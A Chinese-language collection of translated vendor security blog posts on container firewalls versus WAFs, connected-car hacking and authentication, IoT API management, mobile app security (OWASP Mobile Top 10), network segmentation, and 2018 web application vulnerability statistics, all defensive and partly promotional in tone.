从单片应用程序到微服务的转变带来了不同的网络模式和新的安全问题。传统的防火墙和web应用程序防火墙很难看到主机内部或主机之间的东西方内部通信,特别是在容器环境中,随着容器的启动和消失而不断变化。那么NGFWs和WAFs不需要用于保护容器吗?
使用网络防火墙和专用的web应用程序防火墙来保护应用程序免受攻击仍然非常重要。在下面的图中,NGFW提供了多协议检查和保护,免受不可信网络的攻击。此外,WAF还保护面向外部的web前端应用程序免受外部客户机攻击。WAF提供了针对web应用程序的最常见攻击的专门保护。
然而,由于现在正将单片web应用程序迁移到可能具有数十或数百个后端服务的面向客户的容器(服务),因此需要容器防火墙提供额外的安全层。容器的设计是以秒为单位进行部署的,编排系统可以在相同的主机上或跨主机上启动新的容器,这取决于服务需求和可用的主机资源。每个容器都有自己的映射网络接口,这些接口被动态分配和释放。容器还可以使用不同于标准HTTP的协议和端口进行通信,因此同时具备网络和应用程序安全特性非常重要。
容器防火墙的特性
容器防火墙检查并保护进出容器的所有流量。它能够保护云本地工作负载、应用程序堆栈和服务。容器防火墙还必须保护从外部网络和遗留应用程序到容器的入口和出口,这与WAF不同,WAF保护基于web的客户机对前端应用程序的访问。
以下是容器防火墙的主要功能:
- 原生云。了解编制和容器平台服务(dns、负载平衡器)、部署模型(如服务、pod、复制)、网络覆盖(overlays)、名称空间等。
- 应用智能。从元数据和行为分析中学习应用程序的意图。特点包括:
- 基于应用程序(第7层)的协议检查和保护。不使用IPtables或只使用L3/L4规则。
- 基于流行的应用协议,如redis, mysql, mongodb,识别和执行策略。
- 基于白名单,自动更新规则。发现应用程序行为和安全需求,并适应更改和更新。
- 与容器编制集成。跨越主机、云和适应更新。
- 容器威胁保护。防止常见的应用程序级攻击,如DDoS、DNS攻击。许多这样的保护也可以在web应用程序防火墙中找到。
- 黑名单和自定义规则。能够基于容器标签、IP地址、范围或其他L3/L4策略设置规则。
- 其他主机安全和审计功能。请参阅关于连续容器安全性的最后一节。
- CI / CD集成。自动化部署和管理,以适应持续集成和交付管道。
因为容器防火墙主要用于保护容器流量,所以它并不打算取代边缘的NGFW、IDS/ IPS或WAF。但是,它必须防止常见的已知应用程序攻击,这些攻击可能源自内部。
Web应用程序防火墙(WAF)的特性
Web应用程序防火墙为基于Web的流量提供高级保护,通常是HTTP/S,其中来自internet的流量首先与应用程序的“前端”交互。大多数WAFs检测到许多应用程序威胁,包括OWASP Top 10。
一般来说,web应用程序防火墙将包括以下功能:
- 检测应用程序的攻击。检测SQL注入、跨站点脚本(XSS)、DDoS、DNS攻击等。
- 协议、逻辑和对象格式支持。JavaScript、SQL、HTML、XML、JSON、cookie等。
- 支持HTTP和HTTPS。一些WAFs将终止SSL连接,而另一些则依赖于前面的负载平衡器来终止连接。
- 虚拟修补。暂时“修补”漏洞与网络黑名单政策,直到应用程序可以修补。
图表:WAF与容器防火墙比较
WEB APPLICATION FIREWALL (WAF) | CONTAINER FIREWALL | |
---|---|---|
Functions |
|
|
Deployment |
|
|
Integration |
|
|
连续的容器安全
容器防火墙解决方案不仅可以提供基于网络的应用程序保护,还可以提供许多其他特性。因为容器防火墙分布在主机上,所以它们还可以提供主机安全性和审计功能。通过与Docker引擎和编制平台集成,容器防火墙可以提供流程检查、安全审计和资源监视。下面是一些其他的功能:
- 主机和容器进程监视,以检测权限升级和可疑进程
- 漏洞扫描(注册中心、主机、容器)
- 使用Docker Bench和CIS基准进行安全性测试,用于审计和合规性。
向基于容器的应用程序的转变需要新的安全技术来保护容器。比较web应用程序防火墙和容器防火墙是很有趣的,但是最好的安全性是一种分层策略,它使用两者来保护基础设施的不同部分。
关于作者:Gary Duan
Gary是NeuVector的联合创始人兼首席技术官。他在网络、安全、云和数据中心软件方面拥有超过15年的经验。他是Fortinet获奖DPI产品的架构师,并管理过Fortinet、思科和Altigen的开发团队。他的技术专长包括IDS/IPS、OpenStack、NSX和编制系统。他在安全和数据中心技术方面拥有多项专利。
原文:https://neuvector.com/network-security/web-application-firewall-vs-container-firewall/
本文:https://pub.intelligentx.net/web-application-firewall-vs-container-firewall
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 223 次浏览
【端点安全】汽车黑客是真实的 - 汽车行业的网络安全
84%的汽车工程师担心他们的系统跟不上威胁。
今天的车辆无可否认是复杂的,工程师正在努力确保每辆车的安全性都能保持新功能。
Forescout估计“现代汽车中的软件超过1亿行代码” - 比航空电子软件大15倍。这意味着黑客有很多入口点,无论是通过移动应用,手机网络,互联网接入,车辆的控制器局域网(CAN)总线,甚至是车载诊断端口。
“今天的车辆无可否认是复杂的,工程师正在努力确保每辆车的安全性都能保持新功能。”
2019年的Synopsys和SAE研究显示,84%的受访汽车专业人士担心他们目前的网络安全计划无法跟上他们所支持的技术。更糟糕的是,近三分之一的受访者表示他们没有相关的网络安全计划或团队来解决这一问题。
随着消费者期待新的硬件,软件和内容在旅途中受到娱乐和了解,开发人员很难兼顾越来越多的优先事项 - 并且在这种复杂的环境中创建有效的解决方案。
这篇文章深入探讨了汽车专业人士面临的具体,不断变化的风险,并提供了三种避免它们的具体策略。
汽车黑客:一个不断增长的目标
几十年来,无线电和人类对话足以招待司机。今天,无论地点和通勤时间越来越长,我们都希望保持联系。现代汽车配备车载信息娱乐(IVI)系统和导航系统,可访问各种第三方应用程序甚至车载互联网和WiFi接入。这为破口提供了更大的表面积。
扰乱某人的娱乐可能会令人讨厌,但如果黑客利用该入口点进入制动或转向,后果可能会很严重。
这不仅仅是一种可能性,最近黑客闯入了两个GPS跟踪应用程序(ProTrack和iTrack),获得了对个人数据的访问权限,能够实时监控车辆位置并停止引擎。因为所有客户都被分配了123456作为默认密码,被称为“L&M”的黑客告诉Motherboard他能够通过应用程序的API蛮力“数百万用户名”。尽管“L&M”是在获得奖励之后,再加上提高对漏洞的认识,但主板确认他可以通过一次触摸在多个国家造成交通拥堵(并且可能是事故)。
“扰乱某人的娱乐可能会令人讨厌,但如果黑客利用这个切入点来进行制动或转向,后果可能会很严重。”
在另一个案例中,由于API上的认证执行不力,安全研究人员能够侵入日产Leaf的配套应用程序NissanConnect,远程控制气候设置,耗尽汽车电池,并监视最近旅程中的数据。
用户熟悉锁门或隐藏贵重物品的需要,但他们对汽车现在需要的网络安全工具不太熟悉。这为工程师和CTO提供了通过提供安全用户可信赖来区分其产品的机会。
在不断发展的行业中改善网络安全
没有一个通用的解决方案,但关键领域的变化可以提高用户安全性。
1.实施威胁检测。
您越早收到威胁或可疑活动的警报,您就会做出更好的反应。
这说明了建立强大的入侵检测系统的重要性。 Auth0提供异常检测,提供强力检测和突破密码检测,可以帮助保护ProTrack和iTrack客户免受L&M的黑客攻击。
使用Auth0,管理员可以在其仪表板中轻松设置异常检测的首选项。您可以快速了解系统中的可疑活动,立即接收警报,并设置阻止恶意访问尝试的控件。
IVI,浏览器和互联网访问的引入都扩大了车辆的攻击面,为黑客提供了更多的方法来隐藏他们的攻击。
黑客不会留下破碎的窗户和空的控制台。如果没有快速查看威胁的系统,它们就会隐藏起来,数据可能会暴露在外,并且公关灾难可能会增加。如果你没有及早发现瑕疵,类似的车辆可能会同样容易受到攻击。
2.创建更简单,更安全的登录。
许多现有的汽车已配备远程启动功能,但用户可以远距离控制的功能范围只会随着汽车连接的增加而增加。
用户可以远程执行的操作越多,黑客就越能获得访问权限。具有容易被盗的凭据的远程接口存在危险的漏洞。
凭借价值22美元的设备,北京的研究人员能够偷偷摸摸地延长钥匙扣的有效射程,说服他们靠近的汽车。通过欺骗钥匙的信号,他们能够在驾驶员不知情的情况下进入车辆。即使是由广泛的安全团队和加密密钥支持的特斯拉Model S,也可以使用克隆的密钥卡对安全研究人员进行控制。
在被黑客攻击的日产Leaf的情况下,安全研究人员只用挡风玻璃上的VIN控制汽车的功能。
提供应用程序和在线访问门户的汽车公司和第三方技术提供商可以通过更严格的身份验证措施来保护其客户。多因素身份验证(MFA)和生物识别等功能可以帮助保护访问权限,并阻止黑客寻找快速方式。
例如,使用多因素身份验证,用户需要的不仅仅是他们的名称和密码才能登录.Access需要额外的凭据,例如语音片段,指纹或移动设备。 Auth0 Guardian简化了跨设备的身份验证,可以保护您的系统,同时保持良好的用户体验。
Auth0 Guardian通过消除对一次性代码的需求,使多因素身份验证变得简单。相反,管理员只需点击按钮即可下载应用程序并批准登录请求。当您处理大量登录请求时,Guardian会使该过程更加高效,因此您可以专注于开发和分发新功能。
除了在访问后监控其行为之外,在登录时确认用户身份至关重要。没有这层保护,不诚实的用户更容易进入系统并造成严重破坏。
3.确保您的安全解决方案是可扩展的。
车辆,如移动设备,在旅行,连接和重新连接时会冒险。
一些用户希望将手机,平板电脑和计算机连接到他们的汽车界面 - 进一步扩大切入点。当他们停放在餐馆,露营地或加油站时,他们可能还想将他们的汽车连接到本地WiFi网络。有些车甚至提供内置WiFi热点。安全需求不仅会随着新功能的发生而发生变化,还会带来新的使用方式和地点。
随着您的公司和用户群的发展,拥有可以适应的基础架构非常重要。
为了能够在汽车行业保持活力,您的威胁检测,身份验证和身份管理系统必须足够灵活,以支持您的业务目标转变。您的技术应该使您的成功,而不是阻碍您的进步。
外包身份提供商可以承担与不断变化的标准和威胁同步的负担。当您的IT团队忙于日常运营时,可能很难创建满足您当前需求的系统,并且还能够根据未来的优先级进行转换。
Auth0为其合作伙伴提供100多种预先构建的规则和扩展(以及编写原始代码的能力),使您可以根据需求的变化定制用户管理系统。
规则可以丰富用户配置文件,在发生特定登录时通过API通知其他系统,拒绝访问白名单用户等等。 有关完整列表,请参见此处。
推动前进:与能够应对不断变化的威胁的系统合作
OAuth设备流程是一种新兴的标准,用于保护云端API,而车载系统等设备可直接覆盖。 当访问他们喜欢的流媒体服务时,此流程用于验证客厅中的人,坐在电视机前的沙发上。 OAuth Device Flow还允许我们简化任何具有输入约束的设备的身份验证,例如没有内置浏览器或键盘,例如车载信息娱乐系统。
随着越来越多的汽车系统公开用于远程访问的API,使用现代身份验证功能(包括威胁检测和多因素身份验证)保护这些入口点至关重要。在基于Web的应用程序中实现时,这些功能提供了经过验没有浏览器和有限输入功能的车载系统如何利用这些功能?设备流程提供了一种标准机制,用于将基于浏览器的身份验证扩展到受输入约束的设备,允许用户通过辅助设备(如智能手机)登录其帐户。这提供了一种安全便捷的方式来确保合适的用户可以控制。
这个协议可以分层为许多能够为“智能汽车”提供动力的API吗?现在和将来可以为汽车行业提供哪些选择,以提供更安全,更智能的驾驶体验?我们已准备好帮助您解决可能性。
联网车辆为黑客提供了明确的目标。考虑到软件的数量和复杂性以及对新功能的不断增长的需求,保护这些系统可能看起来令人生畏,但您无需单独解决这些问题。
通过正确的工具和策略,您可以阻止网络犯罪分子,为司机提供安全的车辆,并使您的公司在竞争激烈的领域中脱颖而出。
关于Auth0
Auth0是身份即服务(IDaaS)的全球领导者,为每个市场领域的数千名客户提供他们的网络,移动,物联网和内部应用所需的唯一身份解决方案。其可扩展的平台每月无缝地验证和保护超过25亿次登录,使其受到开发人员的喜爱并受到全球企业的信赖。该公司位于华盛顿州贝尔维尤的美国总部以及位于布宜诺斯艾利斯,伦敦,东京和悉尼的其他办事处为其遍布70多个国家的全球客户提供支持。
原文:https://auth0.com/blog/car-hacking-and-cybersecurity-in-automotive-industry/
本文:http://pub.intelligentx.net/node/508
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 62 次浏览
【端点安全】通过API管理最小化物联网安全失误
物联网的采用在不同行业中迅速增长并不是秘密。 在我的最后一篇文章中,我讨论了基于blockchain的IoT安全策略,这是一个不断发展的主题,我发现重要,经常被忽视。 在更广泛的事物方案中,块链技术的出现只是保护IoT设备的许多方式之一。 成功的IoT安全架构将需要多个控制层。 在这篇文章中,我想看看物联网安全流程,并进一步了解企业可以采取的另一步,以更好地保护连接的设备和客户数据免受攻击和破坏。
这可能对一些人来说是震惊,但是最近一次最大的IoT安全漏洞的震中起始于安全性较差的应用程序接口(API)。 API定义为一组用于构建软件应用程序的例程,协议和工具。以下是一个简短的例子,说明安全性不好的API可能会对日产眼睛产生负面影响。最近发现,全球最畅销的电动汽车“日产叶”很容易受到黑客的攻击,黑客们可以获得关于车辆运行和旅行的私人信息,甚至控制关键的车辆功能。当日产叶所有者注意到,对于API端点的请求不需要任何身份验证,而不是轻松的黑客可访问的车辆识别号(或VIN),给予攻击者能够控制别人的车的功能,这个信息被发现非常容易这不是一辆新车非常令人兴奋的功能。
在这样的情况下,像API端点一样至关重要的东西被忽视,反过来又使驱动程序有被盗用的风险。随着设备的激增和各种新型设备类型的出现,企业在实施IoT设备时忽视API安全性太容易了,但实际情况是,不正确的API可能会导致严重的头痛,并可能将严重的漏洞引入到产品。随着连接设备的发展,通过API的设备交互是API的主要用例之一,根据IBM,未来几年将会呈指数级增长。此外,2016年API的供应商中有44%表示,物联网将在未来两年推动API增长最多。随着物联网设备的不断兴起,企业领导者必须使安全的API管理成为其安全策略的核心部分。否则,将危及组织的连接设备和客户数据的安全性。
随着我们走向未来,一切都将与B2C行业和B2B企业形成威胁。在这个过度连接的世界中,对物联网设备安全的统一方法是固有的。但是,市场上存在许多不相交或不完整的API管理解决方案,这些解决方案正在为API和连接设备的安全问题做出贡献。
然而,由于所有这些风险和即将来临的物联网安全障碍,组织的决策者可以遵循几个步骤,以通过API来维护设备安全性和设备数据安全性:
集成完整的API生命周期管理工具。作为数字安全策略的一部分,将API视为一些组织(例如Nissan等公司)的一个新概念,对某些组织可能不是这样。但是太多的公司忽视了API安全性非常简单,至关重要的第一步:管理完整的API生命周期。 API开发过程(API设计到创建到运行时到产品管理和API治理)必须以安全的态度以整体方式来处理。而不是每个开发人员,部门或解决方案都创建自己的API治理和安全策略,必须执行企业API安全策略和最佳做法。实现强大的身份验证和授权访问连接的设备。
实施广泛的安全策略。 IoT软件架构,协议和标准根据用例和设备而有所不同。确保API管理解决方案支持从内部部署到云到混合的各种架构,并将IoT协议视为一流的公民。必须通过安全的API保护运动中不同装置的IoT数据。
监控适当的API版本管理。随着物联网设备的不断扩展和不同的固件版本,多种版本的API的扩散潜力是固有的风险。最佳实践要求将所有IoT设备升级到最新的固件,并且应该使用单个或高度有限数量的API版本。具有类似功能的新版本或等效的API可能导致API数量和老化的爆炸。评估可用的API和版本管理以退出旧的或重复的API需要通过企业API审核流程实现。
充分发挥API整个生命周期的作用,对实施物联网技术的企业产生了许多积极的影响。例如,在使用连接的设备或业务服务时,客户不易受到攻击的安全性及其数据安全。或者根据客户使用连接的设备(某些组织有时被忽视)扩展和改进设备功能的能力。想要将焦点集中在物联网市场的组织不能忽视API管理和安全的重要性,特别是随着物联网向更大的自主权发展。
- 28 次浏览
【终端安全】智能手机网络攻击正在增加:提高移动应用程序安全性的提示
无论你在哪里,人们都在智能手机上。这些设备已成为我们生活中的永久固定装置。我们在智能手机上花费的时间比在桌面上花费的时间多,这使得移动设备成为网络攻击的更大目标。更糟糕的是,我们存储在手机上的大量个人数据以及数据的敏感性使得成功黑客的奖励非常有价值。
智能手机被黑客攻击的最常见方式之一是通过移动应用程序。用户可以从不受信任的来源下载结果是虚假应用的内容。一旦打开手机,应用程序就可以在您意识到其非法性之前访问您的个人信息和数据。判断力差是导致数据被盗的常见原因。
其他时候,代码漏洞和恶意软件应该受到指责。谷歌和苹果都在努力提供安全的移动操作系统。例如,谷歌的Play Protect会扫描用户手机上的可疑应用程序。但移动应用程序不能仅仅依靠谷歌和苹果来保障安全。联邦贸易委员会(FTC)最近的一份报告发现,移动设备只是没有足够频繁地获得他们需要的安全更新和补丁。
移动应用程序中安全漏洞的增加使移动应用程序的安全性成为不容忽视或被抛到一边的东西。现在比以往任何时候都更需要关注。
让我们仔细看看顶级移动应用程序漏洞,以及帮助您提高移动应用程序安全性的十个提示,以便在设计,开发和支持移动应用程序时采取必要的预防措施。
热门移动应用程序漏洞
Open Web Application Security Project(OWASP)发布了十大移动风险列表。该权威列表的最新版本于2016年更新。它可以用作您应该了解的最重要的移动应用程序漏洞的清单。
2016年清单包括:
- 平台使用不当 - 未能使用可用的平台安全措施或滥用平台功能。可以通过服务器端的安全编码和配置来防止它。
- 不安全的数据存储 - 如果设备丢失或被盗,或者攻击者进入设备,敏感数据很容易访问,这就成了一个问题。可以通过适当的移动应用程序安全测试(通常是威胁建模)来识别应用程序访问的信息,以及API如何处理这些信息。
- 不安全的通信 - 移动应用程序传输或交换的数据必须是安全的。您可以采取各种步骤来增强数据交换的安全性,例如加密敏感数据和使用SSL证书。
- 不安全的身份验证 - 无需强大的凭据即可轻松访问应用程序(及其数据)。弱密码是不安全身份验证的一个示例。应实施强大的流程,例如多因素身份验证。
- 密码学不足 - 更容易检索弱加密的敏感数据。如果绝对必要,您应该只存储敏感数据,并且在加密数据时遵循严格的标准。
- 不安全授权 - 授权处理授予用户或由用户授予的权限。某些应用程序未执行足够的检查以确保用户是合法的。不安全的授权使攻击者能够访问应用程序,执行管理功能并造成严重破坏。应根据系统后端的信息而不是设备本身来验证角色和权限,以防止这种情况发生。
- 客户端代码质量 - 当移动应用程序代码包含使其受威胁开放的漏洞时,这是一个问题。适当的移动应用安全测试和补救程序可降低代码质量差的风险。
- 代码篡改 - 攻击者经常创建一个未经授权的应用程序版本,然后由用户下载并安装在他们的设备上。您的应用必须能够检测到已发生的更改,并将其识别为可能需要解决的违规行为。
- 逆向工程 - 攻击者有时可以下载您的应用并研究代码。然后,他们可以窃取专有信息或针对您的应用发起攻击。您可以使用混淆工具来防止此类威胁,这会使您的代码更加模糊,攻击者难以理解。
- 无关功能 - 攻击者可能会下载您的应用并查找可能被开发人员遗忘的功能和代码。然后,攻击者可以使用这些未使用的函数获取访问权限,并确定后端系统的工作方式,甚至可以在应用程序中执行未经授权的操作。预防在于彻底的代码审查。
有关这些漏洞的更深入了解以及有关如何防范这些漏洞的更多提示,请直接咨询OWASP资源。
其他需要注意的移动应用程序漏洞有:
- 会话到期不足 - 用户退出应用程序后,会话标识符应无效。如果它没有过期,攻击者可以利用此功能访问应用程序并以用户身份登录。预防在于确保您的应用程序具有注销按钮,并且在注销时所有会话都已正确无效。
- 弱的服务器端控件 - 您的移动应用程序将访问服务器,无论是您自己的服务器还是第三方系统。这些服务器需要采取适当的安全措施,以防止未经授权的用户访问应用程序及其数据。
提高移动应用安全性的十大提示
您可以采取许多步骤来改善移动应用安全性。这里有十个提示让您朝着正确的方向前进。
1.在开发过程中构建移动应用程序安全性测试。
移动应用程序安全性从第一天开始就需要成为流程的一部分,并且在应用程序的设计,开发和维护过程中始终是优先事项。您应该使用各种应用程序安全测试工具来确保应用程序的全面覆盖。有关不同类型的应用程序漏洞测试软件的更深入了解,请查看我们最近的文章。
应用程序漏洞和关联管理工具可以帮助您了解这些测试工具的结果。使用AVC工具,会自动删除重复项,并且交叉引用结果以确定哪些威胁是最高优先级,应首先解决。
寻找与移动应用程序安全测试工具集成的关联工具,例如专为移动应用程序设计的NowSecure。
2.警惕第三方代码。
使用第三方代码可以节省您的时间和金钱,但您不能认为它始终是安全的。在某些情况下,第三方代码是一个不错的选择,但必须彻底检查漏洞,就像查看开发人员编写的代码一样。你不能也不应该认为它已经得到了适当的审查。
3.采用攻击者的心态。
鼓励您的开发人员和程序员在为您的移动应用程序编写代码时像攻击者一样思考。它容易被剥削吗?
4.创建API安全策略。
API是数据从您的应用程序交换和传输的方式。他们需要安全。以与测试代码相同的方式测试API的漏洞。
5.使用OWASP移动安全项目和移动应用程序安全验证标准。
OWASP移动安全项目是开发人员和安全团队的资源,可帮助开发安全的移动应用程序。在设计,构建和维护移动应用程序时,请定期检查更新和新信息。
移动应用程序安全验证标准为移动应用程序安全性提供了基准。这是一个很好的资源,应该用作指导,帮助您确定您的移动应用程序是否安全。
6.将权限保持在最低限度。
保持应用程序安全的最佳方法之一是只让它访问它真正需要的内容。电话上的联系人,图像和其他数据的每个权限都是攻击者可以利用的另一个进入应用程序的点。
如果您的应用不需要访问给定项目,请不要允许它这样做。您不必要地引发安全问题。
7.戴着白手套处理个人和敏感数据。
不要在您的应用中存储个人或敏感数据。应将其删除或移至安全位置。如果要求存储敏感数据,请遵循正确的加密协议。
8.遵循安全的数据传输程序。
应用程序交换数据,必须安全地完成。可以对数据进行加密以提供安全传输,也可以使用VPN(虚拟专用网络),SSL(安全套接字层)或TLS(传输层安全性)。
9.遵循适当的用户身份验证,授权和用户管理过程。
需要强密码并在需要增加安全性时对其进行加密。会话应在不活动期后注销。在存储敏感数据时,使用更强的身份验证,例如指纹或语音验证。
10.遵守规定的要求。
您的应用可能受某些法规的约束,例如HIPAA。请注意适用于您的规定,并从一开始就解决这些规定。
移动应用程序安全性变得越来越重要,因为人们继续在这些设备上花费更多时间,更具体地说,在移动应用程序中。您需要尽一切力量确保采取所有必要的预防措施并创建安全的移动应用程序。
用户希望内置安全性。未能将此作为优先事项 - 并且随后遭受攻击 - 将导致您的应用程序失败,并且您公司的名称受到损害。使用专家提供的资源和工具来确保您的安全范围是全面的。
原文:https://codedx.com/tips-to-improve-mobile-application-security-code-dx-blog/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 19 次浏览
网络安全
【网络安全】Forescout 网络分割
2019年,人人都在关注网络细分项目。这些项目是一项巨大的工程,可以极大地提高组织的安全性,但它们也涉及到业务的每一部分,并带来相当大的风险。它为网络安全提供了什么?
- 它将网络划分为包含具有类似法规遵从性要求的数据的区域
- 通过这种方式对网络进行分段,您可以减少法规遵从性的范围并简化安全策略
一般来说,你对网络的分段越多,网络就越安全。一个关键的挑战是避免分割不足或过度,并随着时间的推移保持分割的完整性。
在过去的一年里,我们估计90%与我们交谈过的公司在今年的计划中都有细分项目。这是每个人都想做的事情,但并不总是很清楚从哪里开始,风险是什么,或者是否值得付出金钱和努力。一个成功的细分项目可以为提高安全性、网络可管理性带来巨大的好处,并为企业带来积极的投资回报(ROI)。但这并非没有风险。
许多公司都知道他们的企业网络并不像他们希望的那样安全。他们有一个外围防火墙和其他可能的工具,如安全信息和事件管理(SIEM)、入侵防御系统(IPS)、高级威胁检测(ATD)来保护网络外围,但这背后是内部的“可信”网络,没有标准化的分段方法。这被亲切地称为crunchy shell/goey center(脆壳/胶粘中心网络)网络架构。这种听起来很美妙的设计带来了重大的安全风险,因为如果恶意软件越过了外围,就无法阻止它攻击内部网络上的所有其他设备。电子邮件、Dropbox和USB驱动器只是恶意软件试图绕过这一边界的几种方式,一旦进入,可能会在数天、数周甚至数月内不被发现(Verizon 2016年数据泄露调查报告第38页)。
那么,一家公司应该如何进行细分项目呢?首先,从内而外思考。从完整的网络可见性开始,然后使用该可见性来识别需要分段的网络、数据和设备。最后一步是部署策略,将设备和用户自动分段到适当的网络。
2009年,Forrester创建了网络安全的零信任模型。该模型源于这样一个结论:对于当今的数字业务,传统的基于外围设备的安全模型对于恶意内部人员和目标攻击是无效的。NextGen防火墙(NGFW)是最早采用“信任但验证”方法的供应商之一,在零信任模型中扮演着关键角色。谷歌开发了自己的解决方案BeyondCorp,它基于这样一个概念:边界不再存在,组织边界正在消失。
零信任网络架构提倡使用下一代防火墙(NGFW)在网络的每一层实施网络分段。在开始细分项目的规划过程时,您将发现两个问题:
- 您意识到您的内部网络流量不会流经NGFW,因此您需要完全重新构建所有内容,以便可以看到并保护这些内部流量。这导致许多细分项目突然停止。不通往互联网的内部流量不会通过NGFW(想象一台笔记本电脑在与打印机通话),因此无法进行检查。从平面网络迁移到完全分段的网络是一项巨大的任务。为一项好的交易引入了重大的运营风险。
- 在您决定重新设计您的内部网络之后,您将需要考虑到现在将要检查的流量的增加。入侵防御系统、ATD和NGFWs是功能强大的设备,可以解决很多问题,但它们是要付出代价的,而这一增加的成本可能会对项目的投资回报率产生负面影响。
那么,如何在不破坏银行或完全重新设计现有网络的情况下解决这个项目?这就是弗雷斯科特的用武之地。Forescout平台补充了NGFWs,使您能够像现在这样在您的网络上部署“虚拟分段”网络。Forescout通过将新的网段映射到现有网络上,并与现有网络设备集成以协调访问。因为Forescout可以与您的交换机、路由器、无线控制器和防火墙集成,所以我们可以在每个连接到网络的设备周围扩展网段。Forescout会自动执行此操作,而不管设备连接到何处或如何连接,也无需在设备上安装代理。将NGFWs和Forescout一起使用,您可以在自然网络边界部署适当大小的NGFWs来控制网段之间的访问,并让Forescout保护每个网段内的设备。有了这种方法,让我们看一个我的客户想要实现的用例。这家公司有数千个他们想要保护的现有IP摄像机。当一个新的IP摄像机连接到网络上时,他们不仅希望它移动到适当的网段,而且还希望向操作团队发出警报,记录事件并创建规则,仅限制对摄像机工作所需的服务器的访问。当设备连接到网络并且Forescout将其分类为IP摄像机时,策略将:
- 连接到无线控制器并将摄像头分配到摄像头网段。
- 连接到Palo Alto Networks防火墙并创建限制摄像头互联网访问的规则。
- 连接到访问交换机并创建一个访问控制列表(ACL),限制对摄像机的入站网络访问。
- 对Splunk进行API调用,其中包含设备、连接事件和所采取的策略操作的详细信息。
- 向/#OpsChanel发布延迟通知,通知管理员。
这一切都是在没有人与人交互的情况下发生的,而且设备上不需要任何代理。通过利用Forescout的实时可视性、分类和姿态分析功能,客户可以真正实现自动化、实时的网络分割。
如果这激起了你的兴趣,我们有两个资源可能对你很有价值。其中一个讨论了我们与Palo Alto Networks NGFW的集成。另一个概述了Forescout的网络安全划分方法。看看他们,并一如既往,随时与我们联系任何问题。
原文:https://www.forescout.com/company/blog/network-segmentation/
本文:https://www.forescout.com/company/blog/network-segmentation/
讨论:请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】
- 56 次浏览
【网络安全】2018年Web应用程序漏洞的现状
(1月12日更新:由于数据传输错误,2017年的一些数据报告错误;此版本的博客已得到纠正。此错误不影响我们的2018年统计数据,也不影响我们的结论。)
作为Web应用程序防火墙提供商,我们在Imperva的部分工作是持续监控新的安全漏洞。为此,我们使用内部软件从各种数据源(如漏洞数据库,新闻简报,论坛,社交媒体等)收集信息,将其集成到单个存储库中,并评估每个漏洞的优先级。拥有此类数据使我们处于一个独特的位置,可以全年分析所有Web应用程序漏洞,查看趋势并注意安全环境中的重大变化。正如我们去年所做的那样,我们回顾了2018年,了解过去一年中Web应用程序安全性的变化和趋势。
坏消息是,在2018年,与2017年一样,我们继续看到越来越多的Web应用程序漏洞,特别是与注入相关的漏洞,如SQL注入,命令注入,对象注入等。在内容管理系统(CMS)上前面,WordPress漏洞继续增长,并且它们在CMS类别中发布的漏洞数量方面继续占主导地位。尽管WordPress在漏洞数量方面处于领先地位,但Drupal漏洞影响更大,并且在2018年用于数十万个网站的大规模攻击中使用。但是,对于安全行业来说有一些好消息 - 物联网的数量(IoT)漏洞数量下降,以及与弱身份验证相关的漏洞数量。在服务器端技术类别中,PHP漏洞的数量持续下降。此外,API漏洞的增长也略有下降。
(您是否知道,过去一年中有三分之一的企业遭受了6次以上的违规行为?请参阅2019年的CyberThreat防御报告,了解对1,200多名IT和安全领导者的调查结果。)
2018年Web应用程序漏洞统计信息
我们年度分析的第一阶段是检查2018年与前几年相比发布的漏洞数量。图1显示了过去三年中每月漏洞的数量。我们可以看到2018年(17,308)的新漏洞总数比2017年(14,082)增加了23%,与2016年(6,615)相比增加了162%。根据我们的数据,超过一半的Web应用程序漏洞(54%)可以为黑客提供公共漏洞利用。此外,超过三分之一(38%)的Web应用程序漏洞没有可用的解决方案,例如软件升级解决方法或软件补丁。
图1:2016 - 2018年的Web应用程序漏洞数
按类别划分的漏洞
在图2中,您可以找到分为OWASP TOP 10 2017类别的2018个漏洞。
最常见的漏洞:注射
今年的主要类别是迄今为止的注射,2018年的总漏洞中有19%(3,294),比去年增加了267%。 在谈到注入漏洞时,首先想到的是SQL注入。 然而,在深入挖掘数据时,我们看到远程命令执行(RCE)成为更大的问题,有1,980个漏洞(11.5%),而SQLi则有1,354个漏洞(8%)。
第2号漏洞 - 跨站点脚本
跨站点脚本(XSS)漏洞的数量持续增长,并且似乎是2018年Web应用程序漏洞中第二大常见漏洞(14%)。
物联网漏洞减少
似乎物联网漏洞数量大幅减少。 尽管人们普遍认为我们所有的电子设备都很容易受到损害,但在这方面似乎发生了一些变化。 可能的解释包括:物联网供应商终于开始在物联网设备中实现更好的安全性,或者黑客和研究人员在2018年找到了另一个需要关注的领域。
API漏洞:不断增长,但却在减速
随着时间的推移,API(应用程序编程接口)漏洞正变得越来越普遍。 图4显示了2015-2018之间API漏洞的数量。 2018年(264)的新API漏洞比2017年(214)增加了23%,与2016年(169)相比增加了56%,与2015年(104)相比增加了154%。
虽然API漏洞继续逐年增长,但似乎正在放缓,从2015 - 16年的63%降至2016 - 2017年的27%,现在在2017 - 18年间为23%。 一种可能的解释是,由于API现在更受欢迎,它们吸引了黑客和安全研究人员的更多关注。 反过来,组织花费更多时间来保护他们的API。
内容管理系统中的漏洞:攻击者专注于WordPress
根据维基百科引用的市场份额统计数据,最受欢迎的内容管理系统是WordPress,超过28%的网站使用,59%的网站使用已知的内容管理系统,其次是Joomla和Drupal。 也许不出所料,去年WordPress的漏洞数量最多(542),比2017年增加了30%(图5)。
图5:CMS平台2016-2018的漏洞数量
据WordPress官方网站称,目前的插件数量是55,271。 这意味着2018年仅增加了1,914(3%)。
图6:WordPress插件的数量
尽管新插件的增长放缓,但WordPress漏洞的数量却在增加。 对此的解释可能是插件的代码质量,或者WordPress是如此受欢迎的CMS的事实,它激励更多的攻击者开发专用的攻击工具并试着运气搜索代码中的漏洞。
不出所料,98%的WordPress漏洞与插件相关(参见下面的图7),这些漏洞扩展了网站或博客的功能和特性。 任何人都可以创建插件并将其发布 - WordPress是开源的,易于管理,并且没有强制执行或任何适当的流程要求最低安全标准(例如代码分析)。 因此,WordPress插件容易出现漏洞。
